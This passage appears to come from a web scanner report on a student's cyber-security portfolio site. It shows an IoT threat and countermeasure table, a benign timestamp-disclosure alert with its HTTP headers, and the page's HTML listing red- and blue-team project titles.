class="align-left">Intrusion In Network Data Manipulation</td> <td class="align-left">GPS Location System</td> </tr> <tr class="valign-top"> <td class="align-left">RFID Unauthorized Access</td> <td class="align-left">Node Data Can Be Modified (Read, Write & Delete)</td> <td class="align-left">Network Authentication</td> </tr> <tr class="valign-top"> <td class="align-left">Sinkhole Attack</td> <td class="align-left">Data Leakage (Data Of The Nodes)</td> <td class="align-left">Security Aware Ad Hoc Routing</td> </tr> <tr class="valign-top"> <td class="align-left">Man In The Middle Attack</td> <td class="align-left">Data Privacy Violation</td> <td class="align-left">Point-To-Point Encryption</td> </tr> <tr class="valign-top"> <td class="align-left">Routing Information Attack</td> <td class="align-left">Routing Loops (Network Destruction)</td> <td class="align-left">Encrypting Routing Tables</td> </tr> <tr class="valign-top"> <td class="align-left">Application Security</td> <td class="align-left">Privacy Violation</td> <td class="align-left">Web Application Scanner</td> </tr> <tr class="valign-top"> <td class="align-left">Data Security</td> <td class="align-left">Data Leakage (User Data On Cloud)</td> <td class="align-left">Homomorphic Encryption</td> </tr> <tr class="valign-top"> <td class="align-left">Underlying Infrastructure Security</td> <td class="align-left">Service Hijacking</td> <td class="align-left">Fragmentation Redundancy Scattering</td> </tr> <tr class="valign-top"> <td class="align-left">Third-Party Relationships</td> <td class="align-left">Data Leakage (User Data On Cloud)</td> <td class="align-left">Encryption</td> </tr> <tr class="valign-top"> <td class="align-left">Shared Resources</td> <td class="align-left">Resources Destruction</td> <td class="align-left">Hyper Safe</td> </tr> <tr class="valign-top"> <td class="align-left">Virtualization Threats</td> <td class="align-left">Resources Theft</td> <td class="align-left">Hyper Safe</td> </tr> <tr class="valign-top"> <td class="align-left" rowspan="6">Application</td> <td class="align-left">Phishing Attacks</td> <td class="align-left">Data Leakage (User Credentials Data)</td> <td class="align-left">Biometrics Authentication</td> </tr> <tr class="valign-top"> <td class="align-left">Virus, Worms, Trojan Horse, Spyware</td> <td class="align-left">Resource Destruction & Hijacking</td> <td class="align-left">Protective Software</td> </tr> <tr class="valign-top"> <td class="align-left">Malicious Scripts</td> <td class="align-left">Hijacking</td> <td class="align-left">Firewalls</td> </tr> <tr class="valign-top"> <td class="align-left">Denial Of Service</td> <td class="align-left">Resource Destruction</td> <td class="align-left">Access Control Lists</td> </tr> <tr class="valign-top"> <td class="align-left">Data Protection And Recovery</td> <td class="align-left">Data Loss & Catastrophic Damage</td> <td class="align-left">Cryptographic Hash Functions</td> </tr> <tr class="valign-top"> <td class="align-left">Software Vulnerabilities</td> <td class="align-left">Buffer Over Flow</td> <td class="align-left">Awareness Of Security</td> </tr> </tbody> </table> <a href="https://www.sciencedirect.com/science/article/pii/S108480452030237X#sec3">Source</a> <p>As seen in this article there are a lot of different vulnerabilities in IOT devices. And not all of them can be solved with just a good security protocol.</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: November 2021</li> <li>Client: Fontys</li> <li>Category: Minor Red-teaming</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal27" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal28" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal29" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal30" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal31" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal23" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal33" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal34" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal35" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal36" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal37" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal38" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal39" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal40" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <script data-cfasync="false" src="/cdn-cgi/scripts/5c5dd728/cloudflare-static/email-decode.min.js"></script><script src="vendor/jquery/jquery.min.js"></script> <script src="vendor/bootstrap/js/bootstrap.bundle.min.js"></script> <script src="vendor/jquery-easing/jquery.easing.min.js"></script> <script src="js/jqBootstrapValidation.js"></script> <script src="js/contact_me.js"></script> <script src="js/agency.min.js"></script> <script src="https://cdn.jsdelivr.net/gh/google/code-prettify@master/loader/run_prettify.js"></script> </body> </html>Evidence 166584919Solution Manually confirm that the timestamp data is not sensitive, and that the data cannot be aggregated to disclose exploitable patterns.
GET https://beekmans.dev
Alert tags Alert description A timestamp was disclosed by the application/web server - Unix
Other info 16894306, which evaluates to: 1970-07-15 13:51:46
Request Request line and header section (192 bytes)
GET https://beekmans.dev HTTP/1.1 Host: beekmans.dev User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:82.0) Gecko/20100101 Firefox/82.0 Pragma: no-cache Cache-Control: no-cacheRequest body (0 bytes)
Response Status line and header section (1047 bytes)
HTTP/1.1 200 OK Date: Mon, 06 Dec 2021 09:55:11 GMT Content-Type: text/html; charset=UTF-8 Connection: keep-alive vary: Accept-Encoding content-security-policy: default-src 'self' http: https: data: blob: 'unsafe-inline' x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block x-content-type-options: nosniff referrer-policy: no-referrer-when-downgrade strict-transport-security: max-age=31536000; includeSubDomains; preload CF-Cache-Status: DYNAMIC Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=4lOrbKK8y%2Bn8QLhKEGpB7rePrCHT1J%2BQaOZJP06h5%2BW2GkK9CRq%2Fdn7ChLzJzoJLiDaKfMYCpMPOGx7ddQ5eVNaVcohEeYRecx%2BV4c%2BapqYy04o6ANFaN3V3sF2rfmk%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 6b94a31e5f8a4c13-AMS alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400Response body (178340 bytes)
<!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content=""> <meta name="author" content=""> <title>Cyber portfolio</title> <link href="vendor/bootstrap/css/bootstrap.min.css" rel="stylesheet"> <link href="vendor/fontawesome-free/css/all.min.css" rel="stylesheet" type="text/css"> <link href="https://fonts.googleapis.com/css?family=Montserrat:400,700" rel="stylesheet" type="text/css"> <link href='https://fonts.googleapis.com/css?family=Kaushan+Script' rel='stylesheet' type='text/css'> <link href='https://fonts.googleapis.com/css?family=Droid+Serif:400,700,400italic,700italic' rel='stylesheet' type='text/css'> <link href='https://fonts.googleapis.com/css?family=Roboto+Slab:400,100,300,700' rel='stylesheet' type='text/css'> <link href="css/agency.min.css" rel="stylesheet"> </head> <body id="page-top"> <nav class="navbar navbar-expand-lg navbar-dark fixed-top" id="mainNav"> <div class="container"> <a class="navbar-brand js-scroll-trigger" href="#page-top">Cyber security</a> <button class="navbar-toggler navbar-toggler-right" type="button" data-toggle="collapse" data-target="#navbarResponsive" aria-controls="navbarResponsive" aria-expanded="false" aria-label="Toggle navigation"> Menu <i class="fas fa-bars"></i> </button> <div class="collapse navbar-collapse" id="navbarResponsive"> <ul class="navbar-nav text-uppercase ml-auto"> <li class="nav-item"> <a class="nav-link js-scroll-trigger" href="#services">Services</a> </li> <li class="nav-item"> <a class="nav-link js-scroll-trigger" href="#portfolio">Portfolio</a> </li> <li class="nav-item"> <a class="nav-link js-scroll-trigger" href="#about">About</a> </li> <li class="nav-item"> <a class="nav-link js-scroll-trigger" href="#team">Team</a> </li> <li class="nav-item"> <a class="nav-link js-scroll-trigger" href="#contact">Contact</a> </li> </ul> </div> </div> </nav> <header class="masthead"> <div class="container"> <div class="intro-text"> <div class="intro-lead-in">Welcome To My Portfolio!</div> <div class="intro-heading text-uppercase">It's Nice To Meet You</div> <a class="btn btn-primary btn-xl text-uppercase js-scroll-trigger" href="#services">Tell Me More</a> </div> </div> </header> <section id="services"> <div class="container"> <div class="row"> <div class="col-lg-12 text-center"> <h2 class="section-heading text-uppercase">Introduction</h2> <h3 class="section-subheading text-muted">My project.</h3> </div> </div> <div class="row text-center"> <div class="col-md-4"> <span class="fa-stack fa-4x"> <i class="fas fa-circle fa-stack-2x text-primary"></i> <i class="fas fa-shopping-cart fa-stack-1x fa-inverse"></i> </span> <h4 class="service-heading">Environment</h4> <p class="text-muted">I'm using my own Hyper visor (Microsoft's Hyper-V) on a private server in my home. I can connect via a VPN that's also running on this server to my home network to remotely manage the server and manage and deploy VM's. The server is an old DELL T310 with a Xeon x3440, 24GB ddr3 registered ecc 1333mhz memory and all VM's are installed on a Crucial MX500 ssd. The server is part of the home network just like every other computer in my home.</p> </div> <div class="col-md-4"> <span class="fa-stack fa-4x"> <i class="fas fa-circle fa-stack-2x text-primary"></i> <i class="fas fa-laptop fa-stack-1x fa-inverse"></i> </span> <h4 class="service-heading">Context</h4> <p class="text-muted">The network I'm building has as focus a webhosting company with some onsite employee's maybe a place for guests and some webservers hosting different websites.</p> </div> <div class="col-md-4"> <span class="fa-stack fa-4x"> <i class="fas fa-circle fa-stack-2x text-primary"></i> <i class="fas fa-lock fa-stack-1x fa-inverse"></i> </span> <h4 class="service-heading">Security</h4> <p class="text-muted">The network is secured by separating the webservers from the employees and guests on their own VLAN. The network is protected by a pfsense router running custom firewalls for every interface and running Surricata to identify and block possible threats.</p> </div> </div> </div> </section> <section class="bg-light" id="portfolio"> <div class="container"> <div class="row"> <div class="col-lg-12 text-center"> <h2 class="section-heading text-uppercase">Portfolio</h2> <h3 class="section-subheading text-muted">Cyber security.</h3> </div> </div> <div class="row"> <div class="col-lg-12 text-center"> <h4 class="section-subheading text-muted">Blue teaming semester</h4> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal1"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/blue/01-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S3</h4> <p class="text-muted">Self assessment week 1</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal2"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid portfolio-image" src="img/portfolio/blue/02-thumbnail.gif" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S3</h4> <p class="text-muted">Network diagram V1</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal3"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/blue/03-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S3</h4> <p class="text-muted">Network diagram V2</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal4"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/blue/04-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S3</h4> <p class="text-muted">Secure connections</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal5"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/blue/05-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S3</h4> <p class="text-muted">IDS/IPS</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal6"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/blue/06-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S3</h4> <p class="text-muted">Information Security and Risk Analysis</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal7"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/blue/07-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S3</h4> <p class="text-muted">IT Monitoring</p> </div> </div> </div> <div class="row"> <div class="col-lg-12 text-center"> <h4 class="section-subheading text-muted">Red teaming semester</h4> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal8"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/08-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">SQL injection</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal9"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/09-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Command injection</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal10"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/10-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Cross-site scripting</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal11"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/11-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Cross-site request forgery</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal12"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/12-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Path traversal</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal13"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/13-thumbnail.jpeg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Password cracking</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal14"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/14-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Network scanning and enumeration</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal15"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/15-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Network sniffing and spoofing</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal16"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/16-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Law, Ethics and Responsible Disclosure</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal17"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/17-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Basic hacking process</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal18"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/18-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Self reflection</p> </div> </div> </div> <div class="row"> <div class="col-lg-12 text-center"> <h4 class="section-subheading text-muted">Internship</h4> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal19"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/internship/19-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S5</h4> <p class="text-muted">My internship</p> </div> </div> </div> <div class="row"> <div class="col-lg-12 text-center"> <h4 class="section-subheading text-muted">Minor</h4> </div> </div> <div class="row"> <div class="col-lg-12 text-center"> <h5 class="section-subheading text-muted">Red teaming specialisation</h5> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal20"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/20-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Pentesting methods</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal21"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/21&22&31-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">HTB Linux write-up</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal22"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/21&22&31-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">HTB Windows write-up</p> </div> </div> </div> <div class="row"> <div 